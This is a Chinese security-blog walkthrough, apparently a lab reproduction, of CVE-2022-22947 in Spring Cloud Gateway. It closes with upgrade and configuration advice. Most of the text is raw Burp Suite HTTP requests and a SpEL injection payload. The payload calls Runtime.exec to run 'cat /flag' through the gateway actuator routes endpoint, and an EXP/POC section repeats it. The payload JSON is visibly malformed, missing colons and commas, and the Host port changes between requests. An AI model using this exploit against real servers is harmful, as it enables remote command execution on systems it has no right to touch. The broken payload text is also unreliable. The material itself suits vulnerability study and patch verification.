Spring Cloud Gateway 远程代码执行漏洞

admin 2022年3月30日11:50:32评论123 views字数 2905阅读9分41秒阅读模式
Spring Cloud Gateway 远程代码执行漏洞

【漏洞简介】

一、漏洞名称

Spring Cloud Gateway 远程代码执行漏洞

二、漏洞详情

Spring Cloud Gateway 提供了一个库,用于在 Spring WebFlux 之上构建 API 网关。在 3.1.0 和 3.0.6 之前的版本中使用 Spring Cloud Gateway 的应用程序在启用、暴露和不安全的 Gateway Actuator 端点时容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。

影响版本:Spring Cloud Gateway 3.1.x < 3.1.1 Spring Cloud Gateway < 3.0.7

三、漏洞编号

CVE-2022-22947

【验证工具】

Burpsuite

【验证详情】

一、验证条件

访问网站

二、验证过程

1、登录网站进行访问。

Spring Cloud Gateway 远程代码执行漏洞

2、刷新,使用burp抓包,将内容发送到Repeater模块。

Spring Cloud Gateway 远程代码执行漏洞
Spring Cloud Gateway 远程代码执行漏洞

3、添加包含恶意SpEL表达式的路由,将payload粘贴到burpsuite替换掉原数据。(GET方式改为POST,恶意路由为hacktest,Content-Type为application/json

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
    "id""EchoSec",  
    "filters": [{    
        "name""AddResponseHeader"
        "args": { 
            "name""Result"
            "value""#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"cat","/flag"}).getInputStream()))}" 
        }
    }], 
    "uri""http://example.com"
}

Spring Cloud Gateway 远程代码执行漏洞

4、刷新网关,执行SpEL表达式,将payload粘贴到burpsuite替换掉原数据。(注意Content-Type改为application/x-www-form-urlencoded

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Spring Cloud Gateway 远程代码执行漏洞

5、发送以下内容,得到命令执行结果,将payload粘贴到burpsuite替换掉原数据。(注意Content-Type为application/x-www-form-urlencoded

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Spring Cloud Gateway 远程代码执行漏洞

6、发送DELETE请求,删除恶意路由,将payload粘贴到burpsuite替换掉原数据。

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

Spring Cloud Gateway 远程代码执行漏洞

再次发送同样的DELETE请求,发现为404,说明上一步已成功删除恶意路由。

Spring Cloud Gateway 远程代码执行漏洞

【EXP/POC】

{
    "id""EchoSec",  
    "filters": [{    
        "name""AddResponseHeader"
        "args": { 
            "name""Result"
            "value""#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"cat","/flag"}).getInputStream()))}" 
        }
    }], 
    "uri""http://example.com"
}

【防御方式】

对于低于3.0.7和3.1.1的版本尽快升级至安全版本修改spring配置,将management.endpoint.gateway.enabled设置为false,禁止外界访问Spring Cloud Gateway actuator端点。


Spring Cloud Gateway 远程代码执行漏洞


Spring Cloud Gateway 远程代码执行漏洞

点击阅读原文,复制链接地址开始复现~

原文始发于微信公众号(云演):Spring Cloud Gateway 远程代码执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月30日11:50:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud Gateway 远程代码执行漏洞https://cn-sec.com/archives/854795.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息